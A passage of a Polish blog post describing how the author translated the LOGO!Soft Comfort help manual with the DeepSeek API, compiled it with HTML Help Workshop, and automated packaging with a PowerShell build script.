          <p>To give you an impression of the versatility of LOGO!, LOGO!Soft Comfort includes a small collection of applications, in addition to the service water pump application shown in the tutorial.
    </p>

    Zdecydowałem, że postąpię podobnie jak w przypadku spisu treści i nie będę parsować tych plików, ponieważ poprawność ich struktury zostawia trochę do życzenia, a poza tym jest to dodatkowa praca.

    Stworzyłem (AI stworzyło) kolejny prompt, tym razem dotyczący plików .htm:

    SYSTEM_PROMPT_HTM = """
    You are a specialized HTML‑aware translator. You will be given the contents of a `.HTM` file containing English text. Your task is to:
    
    1. Parse the input strictly as HTML.
    2. Locate only these elements:
       - `<title>…</title>`
       - `<p>…</p>`
       - `<a …>…</a>` (even when nested inside `<p>`)
    3. Translate **only the inner text** of those elements from English to Polish.
    4. Preserve **every other part** of the document verbatim, including:
       - Tag names (`<p>`, `<a>`, `<div>`, etc.)
       - Attribute names and values (e.g. `class="foo"`, `id="bar"`)
       - Whitespace, line breaks, indentation
       - Comments, CDATA sections, scripts, styles, etc., without modification
    5. Emit the result as valid `.HTM` (i.e. same file extension and structure).
    
    **Example**
    
    **Input**  
    ```html
    <!DOCTYPE html>
    <HTML>
    <HEAD>
      <TITLE>Welcome to My Site</TITLE>
    </HEAD>
    <BODY>
      <div class="header">…</div>
      <p class="intro">Hello, world! <a href="about.htm">Learn more</a>.</p>
      <!-- footer below -->
      <p>Contact us at <a href="mailto:info@example.com">info@example.com</a></p>
    </BODY>
    </HTML>
    ```
    
    **Output**
    ```
    <!DOCTYPE html>
    <HTML>
    <HEAD>
      <TITLE>Witamy na mojej stronie</TITLE>
    </HEAD>
    <BODY>
      <div class="header">…</div>
      <p class="intro">Witaj, świecie! <a href="about.htm">Dowiedz się więcej</a>.</p>
      <!-- footer below -->
      <p>Skontaktuj się z nami pod adresem <a href="mailto:info@example.com">info@example.com</a></p>
    </BODY>
    </HTML>
    ```
    
    Begin now. Always output only the translated .HTM content—no additional commentary.
    """

    Stworzyłem także metodę wysyłającą żądanie do API:

        def translate_htm(self, htm_text: str) -> str:
            response = self.client.chat.completions.create(
                model='deepseek-chat',
                messages=[
                    {"role": "system", "content": SYSTEM_PROMPT_HTM},
                    {"role": "user", "content": htm_text}
                ],
                stream=False
            )
            return response.choices[0].message.content

    Skrypt przeskanował wszystkie pliki w katalogu 11965523851 i każdy wysyłał do DeepSeeka (do przyspieszenia procesu wykorzystałem ThreadPoolExecutor, który umożliwił mi wysyłanie kilku plików w tym samym czasie).

    Cała operacja (w tym kilka testowych uruchomień) kosztowała mnie zawrotne 0,38 USD (w momencie pisania około 1,37 zł):

    Zrzut ekranu pokazujący wydatki na platformie DeepSeek. Miesięczne wydatki wynoszą 0,38 USD. Ilość zużytych tokenów to 1364675.

    Kompilacja podręcznika

    Po spolszczeniu zawartości trzeba było jeszcze skompilować projekt HHP (HTML help project). Do tego posłużył mi HTML Help Workshop. Naiwnie myślałem, że pobiorę go z oficjalnej strony Microsoftu, ale najwyraźniej link wygasł.

    Zrzut ekranu pokazujący odpowiedź "404 nie znaleziono".

    Na szczęście któryś crawler na Wayback Machine zapisał kopię instalatora:

    Zrzut ekranu pokazujący zapis na Wayback Machine, z dnia 22 listopada 2016.

    Po jednym przekierowaniu udało mi się pobrać instalator

    Zrzut ekranu pokazujący pobrany instalator htmlhelp.exe

    Po instalacji HTML Help Workshop skompilowałem projekt HHP:

    Microsoft Windows [Version 10.0.19045.6093]
    (c) Microsoft Corporation. Wszelkie prawa zastrzeżone.
    
    C:\Program Files (x86)\HTML Help Workshop>hhc.exe C:\Users\bonk\Desktop\spolszczenie-logo-src\src\help\Help_pl-PL.hhp
    Microsoft HTML Help Compiler 4.74.8702
    
    Compiling c:\Users\bonk\Desktop\spolszczenie-logo-src\src\help\Help_pl-PL.chm
    
    HHC4002: Warning: The alias "window___SplitHorizontal" is defined more then once. Only the first alias will be used.
    HHC3002: Warning: 12206721547.htm : The HTML tag "p" is missing a closing angle bracket.
    HHC3002: Warning: 25633462283.htm : The HTML tag "table" is missing a closing angle bracket.
    HHC3002: Warning: 12019634699.htm : The HTML tag "p" is missing a closing angle bracket.
    HHC3002: Warning: 164360233995.htm : The HTML tag "tr" is missing a closing angle bracket.
    
    Compile time: 0 minutes, 20 seconds
    428     Topics
    2,611   Local links
    10      Internet links
    0       Graphics
    
    
    Created c:\Users\bonk\Desktop\spolszczenie-logo-src\src\help\Help_pl-PL.chm, 9,073,586 bytes
    Compression decreased file by 1,901,473 bytes.
    
    C:\Program Files (x86)\HTML Help Workshop>

    Widać, że wystąpiły pewne ostrzeżenia związane ze strukturą czterech plików. W przyszłości kiedyś je poprawię (na pewno).

    Po ponownym skompresowaniu wszystkich plików do pliku JAR, program pomyślnie wczytał spolszczenie podręcznika.

    Zrzut ekranu pokazujący spolszczony podręcznik LOGO! Soft Comfort - widoczny spis treści i zawartość jednej pozycji.

    Skrypt budowania

    Tak jak wspomniałem, jestem leniwy. Po drugiej ręcznej poprawce tłumaczenia (zmiany nazwy bloku z „LUB” na „OR”), postanowiłem, że napiszę skrypt w PowerShellu:

    $hhc = "C:\Program Files (x86)\HTML Help Workshop\hhc.exe"
    $zip = "C:\Program Files\7-Zip\7z.exe"
    $version = "1.0.0"
    $logoScVersion = "8.4"
    $buildDir = ".\build"
    $distDir = ".\dist"
    $srcDir = ".\src"
    if (Test-Path $buildDir) {
    	Remove-Item -Path $buildDir
    }
    
    New-Item -ItemType Directory -Force -Path $buildDir
    New-Item -ItemType Directory -Force -Path $distDir
    
    & $hhc "$srcDir\help\Help_pl-PL.hhp"
    
    $buildArt = "$buildDir\Help_pl_PL.zip"
    $compress = @{
    	Path = "$srcDir\help\*"
    	CompressionLevel = "Optimal"
    	DestinationPath = $buildArt
    }
    # Compress-Archive @compress
    & $zip a $buildArt "$srcDir\help\*"
    
    $buildDirDist = "$buildDir/dist"
    New-Item -ItemType Directory -Path $buildDirDist
    New-Item -ItemType Directory -Path "$buildDirDist\help"
    Move-Item -Path $buildArt -Destination "$buildDirDist\help\Help_pl_PL.jar" -Force
    Copy-Item -Path "$srcDir\Language_pl_PL.properties" -Destination "$buildDirDist\Language_pl_PL.properties"
    Copy-Item -Path "$buildDirDist\*" -Destination "$distDir\" -Recurse -Force
    
    $distZipName = "spolszczenie-$version-logo-$logoScVersion.zip"
    $distZip = "$distDir\$distZipName"
    
    if (Test-Path $distZip) {
    	Remove-Item -Path $distZip
    }
    
    $compress = @{
    	Path = $buildDirDist
    	CompressionLevel = "Optimal"
    	DestinationPath = $distZip
    }
    #Compress-Archive @compress
    & $zip a $distZip $buildDirDist
    
    Remove-Item -Path $buildDir -Recurse
    
    

    Skrypt automatycznie kompiluje projekt podręcznika oraz pakuje wszystko w JAR-a. Niestety wbudowany cmdlet Compress-Archive budował archiwa niekompatybilne z wyświetlaczem podręcznika, więc musiałem użyć 7z.

    Repozytorium na GitHubie

    Zdecydowałem się opublikować pliki spolszczenia oraz skrypt do budowania na swoim GitHubie. Repozytorium jest dostępne tutaj. Wrzuciłem także zbudowane, gotowe do użycia spolszczenie.

    Zrzut ekranu pokazujący repozytorium ze spolszczeniem na GitHubie.